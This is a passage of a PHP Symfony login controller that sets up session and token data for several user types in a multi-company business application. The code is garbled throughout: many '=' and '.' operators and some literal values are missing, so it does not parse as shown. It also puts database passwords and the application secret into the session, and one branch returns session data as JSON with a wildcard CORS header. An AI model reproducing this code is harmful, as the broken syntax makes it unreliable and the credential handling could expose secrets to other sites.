  4939. //                                    $dataToConnect['dbName'],
  4940. //                                    $dataToConnect['dbUser'],
  4941. //                                    $dataToConnect['dbPass'],
  4942. //                                    $dataToConnect['dbHost'],
  4943. //                                    $reset = true
  4944. //                                );
  4945. //                                $em = $this->getDoctrine()->getManager();
  4946. //
  4947. //                                $companyList = Company::getCompanyListWithImage($em);
  4948. //                                foreach ($companyList as $c => $dta) {
  4949. //                                    //                                $company_id_list[]=$c;
  4950. //                                    //                                $company_name_list[$c] = $companyList[$c]['name'];
  4951. //                                    //                                $company_image_list[$c] = $companyList[$c]['image'];
  4952. //                                    $companyIdListByAppId[$currAppId][] = $currAppId . '_' . $c;
  4953. //                                    $app_company_index = $currAppId . '_' . $c;
  4954. //                                    $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  4955. //                                    $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  4956. //                                }
  4957. //                            }
  4958. //                        }
  4959. //                    }
  4960.                 } else if ($userType == UserConstants::USER_TYPE_MANAGEMENT_USER) {
  4961.                     // General User
  4962.                     $employeeId 0;
  4963.                     $currentMonthHolidayList = [];
  4964.                     $currentHolidayCalendarId 0;
  4965.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  4966.                         ->findOneBy(
  4967.                             array(
  4968.                                 'userId' => $user->getUserId()
  4969.                             )
  4970.                         );
  4971.                     if ($employeeObj) {
  4972.                         $employeeId $employeeObj->getEmployeeId();
  4973.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  4974.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  4975.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  4976.                     }
  4977.                     $session->set(UserConstants::USER_EMPLOYEE_IDstrval($employeeId));
  4978.                     $session->set(UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTHjson_encode($currentMonthHolidayList));
  4979.                     $session->set(UserConstants::USER_HOLIDAY_CALENDAR_ID$currentHolidayCalendarId);
  4980.                     $session->set(UserConstants::USER_ID$user->getUserId());
  4981.                     $session->set(UserConstants::LAST_SETTINGS_UPDATED_TSstrval($user->getLastSettingsUpdatedTs()));
  4982.                     $session->set(UserConstants::USER_TYPEUserConstants::USER_TYPE_MANAGEMENT_USER);
  4983.                     $session->set(UserConstants::USER_EMAIL$user->getEmail());
  4984.                     $session->set(UserConstants::USER_IMAGE$user->getImage());
  4985.                     $session->set(UserConstants::USER_NAME$user->getName());
  4986.                     $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  4987.                     $session->set(UserConstants::USER_COMPANY_ID$user->getUserCompanyId());
  4988.                     $session->set(UserConstants::USER_COMPANY_ID_LISTjson_encode($company_id_list));
  4989.                     $session->set(UserConstants::USER_COMPANY_NAME_LISTjson_encode($company_name_list));
  4990.                     $session->set(UserConstants::USER_COMPANY_IMAGE_LISTjson_encode($company_image_list));
  4991.                     $session->set('userCompanyDarkVibrantList'json_encode($company_dark_vibrant_list));
  4992.                     $session->set('userCompanyVibrantList'json_encode($company_vibrant_list));
  4993.                     $session->set('userCompanyLightVibrantList'json_encode($company_light_vibrant_list));
  4994.                     $session->set(UserConstants::USER_APP_ID$user->getUserAppId());
  4995.                     $session->set(UserConstants::USER_POSITION_LIST$user->getPositionIds());
  4996.                     $session->set(UserConstants::ALL_MODULE_ACCESS_FLAG$user->getAllModuleAccessFlag());
  4997.                     $session->set(UserConstants::SESSION_SALTuniqid(mt_rand()));
  4998.                     $session->set(UserConstants::APPLICATION_SECRET$this->container->getParameter('secret'));
  4999.                     $session->set(UserConstants::USER_GOC_ID$gocId);
  5000.                     $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5001.                     $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5002.                     $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5003.                     $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5004.                     $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5005.                     $session->set(UserConstants::USER_NOTIFICATION_ENABLEDGeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0);
  5006.                     $session->set(UserConstants::USER_NOTIFICATION_SERVER$this->getParameter('notification_server'));
  5007.                     if (count(json_decode($user->getPositionIds(), true)) > 1) {
  5008.                         return $this->redirectToRoute("user_login_position");
  5009.                     } else {
  5010.                         $PL json_decode($user->getPositionIds(), true);
  5011.                         $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId());
  5012.                         $session->set(UserConstants::USER_CURRENT_POSITION$PL[0]);
  5013.                         $loginID $this->get('user_module')->addUserLoginLog(
  5014.                             $session->get(UserConstants::USER_ID),
  5015.                             $request->server->get("REMOTE_ADDR"),
  5016.                             $PL[0]
  5017.                         );
  5018.                         $session->set(UserConstants::USER_LOGIN_ID$loginID);
  5019.                         //                    $session->set(UserConstants::USER_LOGIN_ID, $loginID);
  5020.                         $session->set(UserConstants::USER_GOC_ID$gocId);
  5021.                         $session->set(UserConstants::USER_DB_NAME$gocDbName);
  5022.                         $session->set(UserConstants::USER_DB_USER$gocDbUser);
  5023.                         $session->set(UserConstants::USER_DEFAULT_ROUTE$user->getDefaultRoute());
  5024.                         $session->set(UserConstants::USER_DB_PASS$gocDbPass);
  5025.                         $session->set(UserConstants::USER_DB_HOST$gocDbHost);
  5026.                         $session->set(UserConstants::USER_ROUTE_LISTjson_encode($route_list_array));
  5027.                         $session->set(UserConstants::PRODUCT_NAME_DISPLAY_TYPE$product_name_display_type);
  5028.                         $appIdList json_decode($user->getUserAppIdList());
  5029.                         if ($appIdList == null$appIdList = [];
  5030.                         $companyIdListByAppId = [];
  5031.                         $companyNameListByAppId = [];
  5032.                         $companyImageListByAppId = [];
  5033.                         if (!in_array($user->getUserAppId(), $appIdList))
  5034.                             $appIdList[] = $user->getUserAppId();
  5035.                         foreach ($appIdList as $currAppId) {
  5036.                             if ($currAppId == $user->getUserAppId()) {
  5037.                                 foreach ($company_id_list as $index_company => $company_id) {
  5038.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5039.                                     $app_company_index $currAppId '_' $company_id;
  5040.                                     $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5041.                                     $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5042.                                 }
  5043.                             } else {
  5044.                                 $dataToConnect System::changeDoctrineManagerByAppId(
  5045.                                     $this->getDoctrine()->getManager('company_group'),
  5046.                                     $gocEnabled,
  5047.                                     $currAppId
  5048.                                 );
  5049.                                 if (!empty($dataToConnect)) {
  5050.                                     $connector $this->container->get('application_connector');
  5051.                                     $connector->resetConnection(
  5052.                                         'default',
  5053.                                         $dataToConnect['dbName'],
  5054.                                         $dataToConnect['dbUser'],
  5055.                                         $dataToConnect['dbPass'],
  5056.                                         $dataToConnect['dbHost'],
  5057.                                         $reset true
  5058.                                     );
  5059.                                     $em $this->getDoctrine()->getManager();
  5060.                                     $companyList Company::getCompanyListWithImage($em);
  5061.                                     foreach ($companyList as $c => $dta) {
  5062.                                         //                                $company_id_list[]=$c;
  5063.                                         //                                $company_name_list[$c] = $companyList[$c]['name'];
  5064.                                         //                                $company_image_list[$c] = $companyList[$c]['image'];
  5065.                                         $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5066.                                         $app_company_index $currAppId '_' $c;
  5067.                                         $company_locale $companyList[$c]['locale'];
  5068.                                         $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5069.                                         $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5070.                                     }
  5071.                                 }
  5072.                             }
  5073.                         }
  5074.                         $session->set('appIdList'$appIdList);
  5075.                         $session->set('companyIdListByAppId'$companyIdListByAppId);
  5076.                         $session->set('companyNameListByAppId'$companyNameListByAppId);
  5077.                         $session->set('companyImageListByAppId'$companyImageListByAppId);
  5078.                         $branchIdList json_decode($user->getUserBranchIdList());
  5079.                         $branchId $user->getUserBranchId();
  5080.                         $session->set('branchIdList'$branchIdList);
  5081.                         $session->set('branchId'$branchId);
  5082.                         if ($user->getAllModuleAccessFlag() == 1)
  5083.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode([]));
  5084.                         else
  5085.                             $session->set(UserConstants::USER_PROHIBIT_LISTjson_encode(Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $PL[0], $user->getUserId())));
  5086.                         $session_data = array(
  5087.                             UserConstants::USER_ID => $session->get(UserConstants::USER_ID),
  5088.                             UserConstants::LAST_SETTINGS_UPDATED_TS => $session->get(UserConstants::LAST_SETTINGS_UPDATED_TS),
  5089.                             UserConstants::USER_EMPLOYEE_ID => $session->get(UserConstants::USER_EMPLOYEE_ID),
  5090.                             'oAuthToken' => $session->get('oAuthToken'),
  5091.                             'locale' => $session->get('locale'),
  5092.                             'firebaseToken' => $session->get('firebaseToken'),
  5093.                             'token' => $session->get('token'),
  5094.                             'firstLogin' => $firstLogin,
  5095.                             'BUDDYBEE_BALANCE' => $session->get('BUDDYBEE_BALANCE'),
  5096.                             'BUDDYBEE_COIN_BALANCE' => $session->get('BUDDYBEE_COIN_BALANCE'),
  5097.                             UserConstants::IS_BUDDYBEE_RETAILER => $session->get(UserConstants::IS_BUDDYBEE_RETAILER),
  5098.                             UserConstants::BUDDYBEE_RETAILER_LEVEL => $session->get(UserConstants::BUDDYBEE_RETAILER_LEVEL),
  5099.                             UserConstants::BUDDYBEE_ADMIN_LEVEL => $session->get(UserConstants::BUDDYBEE_ADMIN_LEVEL),
  5100.                             UserConstants::IS_BUDDYBEE_MODERATOR => $session->get(UserConstants::IS_BUDDYBEE_MODERATOR),
  5101.                             UserConstants::IS_BUDDYBEE_ADMIN => $session->get(UserConstants::IS_BUDDYBEE_ADMIN),
  5102.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5103.                             UserConstants::USER_EMAIL => $session->get(UserConstants::USER_EMAIL),
  5104.                             UserConstants::USER_TYPE => $session->get(UserConstants::USER_TYPE),
  5105.                             UserConstants::USER_IMAGE => $session->get(UserConstants::USER_IMAGE),
  5106.                             'oAuthImage' => $session->get('oAuthImage'),
  5107.                             UserConstants::USER_DEFAULT_ROUTE => $session->get(UserConstants::USER_DEFAULT_ROUTE),
  5108.                             UserConstants::USER_NAME => $session->get(UserConstants::USER_NAME),
  5109.                             UserConstants::USER_COMPANY_ID => $session->get(UserConstants::USER_COMPANY_ID),
  5110.                             UserConstants::USER_COMPANY_ID_LIST => $session->get(UserConstants::USER_COMPANY_ID_LIST),
  5111.                             UserConstants::USER_COMPANY_NAME_LIST => $session->get(UserConstants::USER_COMPANY_NAME_LIST),
  5112.                             UserConstants::USER_COMPANY_IMAGE_LIST => $session->get(UserConstants::USER_COMPANY_IMAGE_LIST),
  5113.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5114.                             UserConstants::USER_LOGIN_ID => $session->get(UserConstants::USER_LOGIN_ID),
  5115.                             UserConstants::USER_CURRENT_POSITION => $session->get(UserConstants::USER_CURRENT_POSITION),
  5116.                             UserConstants::USER_APP_ID => $session->get(UserConstants::USER_APP_ID),
  5117.                             UserConstants::SESSION_SALT => $session->get(UserConstants::SESSION_SALT),
  5118.                             UserConstants::APPLICATION_SECRET => $session->get(UserConstants::APPLICATION_SECRET),
  5119.                             UserConstants::USER_POSITION_LIST => $session->get(UserConstants::USER_POSITION_LIST),
  5120.                             'userCompanyDarkVibrantList' => $session->get('userCompanyDarkVibrantList', []),
  5121.                             'userCompanyVibrantList' => $session->get('userCompanyVibrantList', []),
  5122.                             'userCompanyLightVibrantList' => $session->get('userCompanyLightVibrantList', []),
  5123.                             UserConstants::ALL_MODULE_ACCESS_FLAG => $session->get(UserConstants::ALL_MODULE_ACCESS_FLAG),
  5124.                             UserConstants::USER_GOC_ID => $session->get(UserConstants::USER_GOC_ID),
  5125.                             UserConstants::USER_DB_NAME => $session->get(UserConstants::USER_DB_NAME),
  5126.                             UserConstants::USER_DB_USER => $session->get(UserConstants::USER_DB_USER),
  5127.                             UserConstants::USER_DB_HOST => $session->get(UserConstants::USER_DB_HOST),
  5128.                             UserConstants::USER_DB_PASS => $session->get(UserConstants::USER_DB_PASS),
  5129.                             UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $session->get(UserConstants::PRODUCT_NAME_DISPLAY_TYPE),
  5130.                             UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5131.                             UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5132.                             //new
  5133.                             'appIdList' => $session->get('appIdList'),
  5134.                             'branchIdList' => $session->get('branchIdList'null),
  5135.                             'branchId' => $session->get('branchId'null),
  5136.                             'companyIdListByAppId' => $session->get('companyIdListByAppId'),
  5137.                             'companyNameListByAppId' => $session->get('companyNameListByAppId'),
  5138.                             'companyImageListByAppId' => $session->get('companyImageListByAppId'),
  5139.                         );
  5140.                         $session_data $this->filterClientSessionData($session_data);
  5141.                         $tokenData MiscActions::CreateTokenFromSessionData($em_goc$session_data);
  5142.                         $session_data $tokenData['sessionData'];
  5143.                         $token $tokenData['token'];
  5144.                         $session->set('token'$token);
  5145.                         if ($request->request->get('remoteVerify'$request->query->get('remoteVerify'$remoteVerify)) == 1) {
  5146.                             $session->set('remoteVerified'1);
  5147.                             $response = new JsonResponse(array(
  5148.                                 'uid' => $session->get(UserConstants::USER_ID),
  5149.                                 'session' => $session,
  5150.                                 'token' => $token,
  5151.                                 'success' => true,
  5152.                                 'session_data' => $session_data,
  5153.                             ));
  5154.                             $response->headers->set('Access-Control-Allow-Origin''*');
  5155.                             return $response;
  5156.                         }
  5157.                         if (!empty($session->get('LAST_REQUEST_URI_BEFORE_LOGIN'))) {
  5158.                             if (strripos($session->get('REQUEST_URI'), 'select_data') === false) {
  5159.                                 if ($session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != '' && $session->get('LAST_REQUEST_URI_BEFORE_LOGIN') != null) {
  5160.                                     $red $session->get('LAST_REQUEST_URI_BEFORE_LOGIN');
  5161.                                     $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5162.                                     return $this->redirect($red);
  5163.                                 }
  5164.                             } else {
  5165.                                 $session->set('LAST_REQUEST_URI_BEFORE_LOGIN''');
  5166.                             }
  5167.                         } else if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5168.                             return $this->redirectToRoute("dashboard");
  5169.                         else
  5170.                             return $this->redirectToRoute($user->getDefaultRoute());
  5171. //                        if ($request->server->has("HTTP_REFERER")) {
  5172. //                            if ($request->server->get('HTTP_REFERER') != '/' && $request->server->get('HTTP_REFERER') != ''  && $request->server->get('HTTP_REFERER') != null) {
  5173. //                                return $this->redirect($request->request->get('HTTP_REFERER'));
  5174. //                            }
  5175. //                        }
  5176. //
  5177. //                        //                    $request->server->get("REMOTE_ADDR"), $PL[0]);
  5178. //                        if ($request->request->has('referer_path')) {
  5179. //                            if ($request->request->get('referer_path') != '/' && $request->request->get('referer_path') != '' && $request->request->get('referer_path') != null) {
  5180. //                                return $this->redirect($request->request->get('referer_path'));
  5181. //                            }
  5182. //                        }
  5183. //                        //                    if($request->request->has('gocId')
  5184. //
  5185. //                        if ($user->getDefaultRoute() == "" || $user->getDefaultRoute() == "")
  5186. //                            return $this->redirectToRoute("dashboard");
  5187. //                        else
  5188. //                            return $this->redirectToRoute($user->getDefaultRoute());
  5189.                     }
  5190.                 } else if ($userType == UserConstants::USER_TYPE_APPLICANT) {
  5191.                     $applicantId $user->getApplicantId();
  5192.                     $userId $user->getApplicantId();
  5193.                     $globalId $user->getApplicantId();
  5194.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5195.                     $isConsultant $user->getIsConsultant() == 0;
  5196.                     $isRetailer $user->getIsRetailer() == 0;
  5197.                     $retailerLevel $user->getRetailerLevel() == 0;
  5198.                     $adminLevel $user->getIsAdmin() == ? (($user->getAdminLevel() != null && $user->getAdminLevel() != 0) ? $user->getAdminLevel() : 1) : ($user->getIsModerator() == 0);
  5199.                     $isModerator $user->getIsModerator() == 0;
  5200.                     $isAdmin $user->getIsAdmin() == 0;
  5201.                     $userEmail $user->getOauthEmail();
  5202.                     $userImage $user->getImage();
  5203.                     $userFullName $user->getFirstName() . ' ' $user->getLastName();
  5204.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5205.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5206.                     $buddybeeBalance $user->getAccountBalance();
  5207.                     $buddybeeCoinBalance $user->getSessionCountBalance();
  5208.                     $userDefaultRoute 'applicant_dashboard';
  5209. //            $userAppIds = json_decode($user->getUserAppIds(), true);
  5210.                     $userAppIds = [];
  5211.                     $userSuspendedAppIds json_decode($user->getUserSuspendedAppIds(), true);
  5212.                     $userTypesByAppIds json_decode($user->getUserTypesByAppIds(), true);
  5213.                     if ($userAppIds == null$userAppIds = [];
  5214.                     if ($userSuspendedAppIds == null$userSuspendedAppIds = [];
  5215.                     if ($userTypesByAppIds == null$userTypesByAppIds = [];
  5216.                     foreach ($userTypesByAppIds as $aid => $accData)
  5217.                         if (in_array($aid$userSuspendedAppIds))
  5218.                             unset($userTypesByAppIds[$aid]);
  5219.                         else
  5220.                             $userAppIds[]=$aid;
  5221. //                    $userAppIds=array_diff($userAppIds,$userSuspendedAppIds);
  5222.                     if ($user->getOAuthEmail() == '' || $user->getOAuthEmail() == null$currRequiredPromptFields[] = 'email';
  5223.                     if ($user->getPhone() == '' || $user->getPhone() == null$currRequiredPromptFields[] = 'phone';
  5224.                     if ($user->getCurrentCountryId() == '' || $user->getCurrentCountryId() == null || $user->getCurrentCountryId() == 0$currRequiredPromptFields[] = 'currentCountryId';
  5225.                     if ($user->getPreferredConsultancyTopicCountryIds() == '' || $user->getPreferredConsultancyTopicCountryIds() == null || $user->getPreferredConsultancyTopicCountryIds() == '[]'$currRequiredPromptFields[] = 'preferredConsultancyTopicCountryIds';
  5226.                     if ($user->getIsConsultant() == && ($user->getPreferredTopicIdsAsConsultant() == '' || $user->getPreferredTopicIdsAsConsultant() == null || $user->getPreferredTopicIdsAsConsultant() == '[]')) $currRequiredPromptFields[] = 'preferredTopicIdsAsConsultant';
  5227.                     $loginID MiscActions::addEntityUserLoginLog(
  5228.                         $em_goc,
  5229.                         $userId,
  5230.                         $applicantId,
  5231.                         1,
  5232.                         $request->server->get("REMOTE_ADDR"),
  5233.                         0,
  5234.                         $request->request->get('deviceId'''),
  5235.                         $request->request->get('oAuthToken'''),
  5236.                         $request->request->get('oAuthType'''),
  5237.                         $request->request->get('locale'''),
  5238.                         $request->request->get('firebaseToken''')
  5239.                     );
  5240.                 } else if ($userType == UserConstants::USER_TYPE_GENERAL) {
  5241.                     // General User
  5242.                     $employeeObj $em->getRepository('ApplicationBundle\\Entity\\Employee')
  5243.                         ->findOneBy(
  5244.                             array(
  5245.                                 'userId' => $user->getUserId()
  5246.                             )
  5247.                         );
  5248.                     if ($employeeObj) {
  5249.                         $employeeId $employeeObj->getEmployeeId();
  5250.                         $holidayListObj HumanResource::getFilteredHolidaysSingle($em, ['employeeId' => $employeeId], $employeeObjtrue);
  5251.                         $currentMonthHolidayList $holidayListObj['filteredData']['holidayList'];
  5252.                         $currentHolidayCalendarId $holidayListObj['calendarId'];
  5253.                     }
  5254.                     $currentTask $em->getRepository('ApplicationBundle\\Entity\\TaskLog')
  5255.                         ->findOneBy(
  5256.                             array(
  5257.                                 'userId' => $user->getUserId(),
  5258.                                 'workingStatus' => 1
  5259.                             )
  5260.                         );
  5261.                     if ($currentTask) {
  5262.                         $currentTaskId $currentTask->getId();
  5263.                         $currentPlanningItemId $currentTask->getPlanningItemId();
  5264.                     }
  5265.                     $userId $user->getUserId();
  5266.                     $userCompanyId 1;
  5267.                     $lastSettingsUpdatedTs $user->getLastSettingsUpdatedTs();
  5268.                     $userEmail $user->getEmail();
  5269.                     $userImage $user->getImage();
  5270.                     $userFullName $user->getName();
  5271.                     $triggerResetPassword $user->getTriggerResetPassword() == 0;
  5272.                     $isEmailVerified $user->getIsEmailVerified() == 0;
  5273.                     $position_list_array json_decode($user->getPositionIds(), true);
  5274.                     if ($position_list_array == null$position_list_array = [];
  5275.                     $filtered_pos_array = [];
  5276.                     foreach ($position_list_array as $defPos)
  5277.                         if ($defPos != '' && $defPos != 0)
  5278.                             $filtered_pos_array[] = $defPos;
  5279.                     $position_list_array $filtered_pos_array;
  5280.                     if (!empty($position_list_array))
  5281.                         foreach ($position_list_array as $defPos)
  5282.                             if ($defPos != '' && $defPos != && $curr_position_id == 0) {
  5283.                                 $curr_position_id $defPos;
  5284.                             }
  5285.                     $userDefaultRoute $user->getDefaultRoute();
  5286.                     $allModuleAccessFlag $user->getAllModuleAccessFlag() == 0;
  5287.                     if ($userDefaultRoute == "" || $userDefaultRoute == null)
  5288.                         $userDefaultRoute 'dashboard';
  5289.                     $route_list_array Position::getUserRouteArray($this->getDoctrine()->getManager(), $curr_position_id$userId);
  5290.                     $companyList Company::getCompanyListWithImage($this->getDoctrine()->getManager());
  5291.                     if (isset($companyList[$userCompanyId])) {
  5292.                         $company_name_list[$userCompanyId] = $companyList[$userCompanyId]['name'];
  5293.                         $company_image_list[$userCompanyId] = $companyList[$userCompanyId]['image'];
  5294.                         $company_dark_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['dark_vibrant'];
  5295.                         $company_light_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['light_vibrant'];
  5296.                         $company_vibrant_list[$userCompanyId] = $companyList[$userCompanyId]['vibrant'];
  5297.                     }
  5298.                     if ($allModuleAccessFlag == 1)
  5299.                         $prohibit_list_array = [];
  5300.                     else if ($curr_position_id != 0)
  5301.                         $prohibit_list_array Position::getUserProhibitRouteArray($this->getDoctrine()->getManager(), $curr_position_id$user->getUserId());
  5302.                     $loginID $this->get('user_module')->addUserLoginLog(
  5303.                         $userId,
  5304.                         $request->server->get("REMOTE_ADDR"),
  5305.                         $curr_position_id
  5306.                     );
  5307.                     $appIdList json_decode($user->getUserAppIdList());
  5308.                     $branchIdList json_decode($user->getUserBranchIdList());
  5309.                     if ($branchIdList == null$branchIdList = [];
  5310.                     $branchId $user->getUserBranchId();
  5311.                     if ($appIdList == null$appIdList = [];
  5312.                     if (!in_array($user->getUserAppId(), $appIdList))
  5313.                         $appIdList[] = $user->getUserAppId();
  5314.                     foreach ($appIdList as $currAppId) {
  5315.                         if ($currAppId == $user->getUserAppId()) {
  5316.                             foreach ($company_id_list as $index_company => $company_id) {
  5317.                                 $companyIdListByAppId[$currAppId][] = $currAppId '_' $company_id;
  5318.                                 $app_company_index $currAppId '_' $company_id;
  5319.                                 $companyNameListByAppId[$app_company_index] = $company_name_list[$company_id];
  5320.                                 $companyImageListByAppId[$app_company_index] = $company_image_list[$company_id];
  5321.                             }
  5322.                         } else {
  5323.                             $dataToConnect System::changeDoctrineManagerByAppId(
  5324.                                 $this->getDoctrine()->getManager('company_group'),
  5325.                                 $gocEnabled,
  5326.                                 $currAppId
  5327.                             );
  5328.                             if (!empty($dataToConnect)) {
  5329.                                 $connector $this->container->get('application_connector');
  5330.                                 $connector->resetConnection(
  5331.                                     'default',
  5332.                                     $dataToConnect['dbName'],
  5333.                                     $dataToConnect['dbUser'],
  5334.                                     $dataToConnect['dbPass'],
  5335.                                     $dataToConnect['dbHost'],
  5336.                                     $reset true
  5337.                                 );
  5338.                                 $em $this->getDoctrine()->getManager();
  5339.                                 $companyList Company::getCompanyListWithImage($em);
  5340.                                 foreach ($companyList as $c => $dta) {
  5341.                                     //                                $company_id_list[]=$c;
  5342.                                     //                                $company_name_list[$c] = $companyList[$c]['name'];
  5343.                                     //                                $company_image_list[$c] = $companyList[$c]['image'];
  5344.                                     $companyIdListByAppId[$currAppId][] = $currAppId '_' $c;
  5345.                                     $app_company_index $currAppId '_' $c;
  5346.                                     $company_locale $companyList[$c]['locale'];
  5347.                                     $companyNameListByAppId[$app_company_index] = $companyList[$c]['name'];
  5348.                                     $companyImageListByAppId[$app_company_index] = $companyList[$c]['image'];
  5349.                                 }
  5350.                             }
  5351.                         }
  5352.                     }
  5353.                     if (count($position_list_array) > 1) {
  5354.                         $userForcedRoute 'user_login_position';
  5355. //                        return $this->redirectToRoute("user_login_position");
  5356.                     } else {
  5357.                     }
  5358.                 }
  5359.                 if ($userType == UserConstants::USER_TYPE_APPLICANT ||
  5360.                     $userType == UserConstants::USER_TYPE_GENERAL ||
  5361.                     $userType == UserConstants::USER_TYPE_SYSTEM
  5362.                 ) {
  5363.                     $session_data = array(
  5364.                         UserConstants::USER_ID => $userId,
  5365.                         UserConstants::USER_EMPLOYEE_ID => $employeeId,
  5366.                         UserConstants::APPLICANT_ID => $applicantId,
  5367.                         UserConstants::USER_CURRENT_TASK_ID => $currentTaskId,
  5368.                         UserConstants::USER_CURRENT_PLANNING_ITEM_ID => $currentPlanningItemId,
  5369.                         UserConstants::USER_HOLIDAY_LIST_CURRENT_MONTH => json_encode($currentMonthHolidayList),
  5370.                         UserConstants::USER_HOLIDAY_CALENDAR_ID => $currentHolidayCalendarId,
  5371.                         UserConstants::SUPPLIER_ID => $supplierId,
  5372.                         UserConstants::CLIENT_ID => $clientId,
  5373.                         UserConstants::USER_TYPE => $userType,
  5374.                         UserConstants::LAST_SETTINGS_UPDATED_TS => $lastSettingsUpdatedTs == null $lastSettingsUpdatedTs,
  5375.                         UserConstants::IS_CONSULTANT => $isConsultant,
  5376.                         UserConstants::IS_BUDDYBEE_RETAILER => $isRetailer,
  5377.                         UserConstants::BUDDYBEE_RETAILER_LEVEL => $retailerLevel,
  5378.                         UserConstants::BUDDYBEE_ADMIN_LEVEL => $adminLevel,
  5379.                         UserConstants::IS_BUDDYBEE_MODERATOR => $isModerator,
  5380.                         UserConstants::IS_BUDDYBEE_ADMIN => $isAdmin,
  5381.                         UserConstants::USER_EMAIL => $userEmail == null "" $userEmail,
  5382.                         UserConstants::USER_IMAGE => $userImage == null "" $userImage,
  5383.                         UserConstants::USER_NAME => $userFullName,
  5384.                         UserConstants::USER_DEFAULT_ROUTE => $userDefaultRoute,
  5385.                         UserConstants::USER_COMPANY_ID => $userCompanyId,
  5386.                         UserConstants::USER_COMPANY_ID_LIST => json_encode($company_id_list),
  5387.                         UserConstants::USER_COMPANY_NAME_LIST => json_encode($company_name_list),
  5388.                         UserConstants::USER_COMPANY_IMAGE_LIST => json_encode($company_image_list),
  5389.                         UserConstants::USER_APP_ID => $appIdFromUserName,
  5390.                         UserConstants::USER_POSITION_LIST => json_encode($position_list_array),
  5391.                         UserConstants::ALL_MODULE_ACCESS_FLAG => $allModuleAccessFlag,
  5392.                         UserConstants::SESSION_SALT => uniqid(mt_rand()),
  5393.                         UserConstants::APPLICATION_SECRET => $this->container->getParameter('secret'),
  5394.                         UserConstants::USER_GOC_ID => $gocId,
  5395.                         UserConstants::USER_DB_NAME => $gocDbName,
  5396.                         UserConstants::USER_DB_USER => $gocDbUser,
  5397.                         UserConstants::USER_DB_PASS => $gocDbPass,
  5398.                         UserConstants::USER_DB_HOST => $gocDbHost,
  5399.                         UserConstants::PRODUCT_NAME_DISPLAY_TYPE => $product_name_display_type,
  5400.                         UserConstants::USER_NOTIFICATION_ENABLED => GeneralConstant::NOTIFICATION_ENABLED == ? ($this->getParameter('notification_enabled') == 0) : 0,
  5401.                         UserConstants::USER_NOTIFICATION_SERVER => $this->getParameter('notification_server'),
  5402.                         UserConstants::USER_LOGIN_ID => $loginID,
  5403.                         UserConstants::USER_CURRENT_POSITION => $curr_position_id,
  5404.                         UserConstants::USER_ROUTE_LIST => json_encode($route_list_array),
  5405.                         UserConstants::USER_PROHIBIT_LIST => json_encode($prohibit_list_array),
  5406.                         'relevantRequiredPromptFields' => json_encode($currRequiredPromptFields),
  5407.                         'triggerPromptInfoModalFlag' => empty($currRequiredPromptFields) ? 1,
  5408.                         'TRIGGER_RESET_PASSWORD' => $triggerResetPassword,
  5409.                         'IS_EMAIL_VERIFIED' => $isEmailVerified,
  5410.                         'REMEMBERME' => $remember_me,
  5411.                         'BUDDYBEE_BALANCE' => $buddybeeBalance,
  5412.                         'BUDDYBEE_COIN_BALANCE' => $buddybeeCoinBalance,
  5413.                         'oAuthToken' => $oAuthToken,
  5414.                         'locale' => $locale,
  5415.                         'firebaseToken' => $firebaseToken,
  5416.                         'token' => $session->get('token'),
  5417.                         'firstLogin' => $firstLogin,
  5418.                         'oAuthImage' => $oAuthImage,
  5419.                         'appIdList' => json_encode($appIdList),
  5420.                         'branchIdList' => json_encode($branchIdList),
  5421.                         'branchId' => $branchId,
  5422.                         'companyIdListByAppId' => json_encode($companyIdListByAppId),
  5423.                         'companyNameListByAppId' => json_encode($companyNameListByAppId),
  5424.                         'companyImageListByAppId' => json_encode($companyImageListByAppId),
  5425.                         'userCompanyDarkVibrantList' => json_encode($company_dark_vibrant_list),
  5426.                         'userCompanyVibrantList' => json_encode($company_vibrant_list),
  5427.                         'userCompanyLightVibrantList' => json_encode($company_light_vibrant_list),
  5428.                     );
  5429.                     if ($systemType == '_CENTRAL_') {
  5430.                         $accessList = [];
  5431. //                        System::log_it($this->container->getParameter('kernel.root_dir'),json_encode($gocDataListByAppId),'data_list_by_app_id');
  5432.                         foreach ($userTypesByAppIds as $thisUserAppId => $thisUserUserTypes) {
  5433.                             foreach ($thisUserUserTypes as $thisUserUserType) {
  5434.                                 if (isset($gocDataListByAppId[$thisUserAppId])) {
  5435.                                     $d = array(
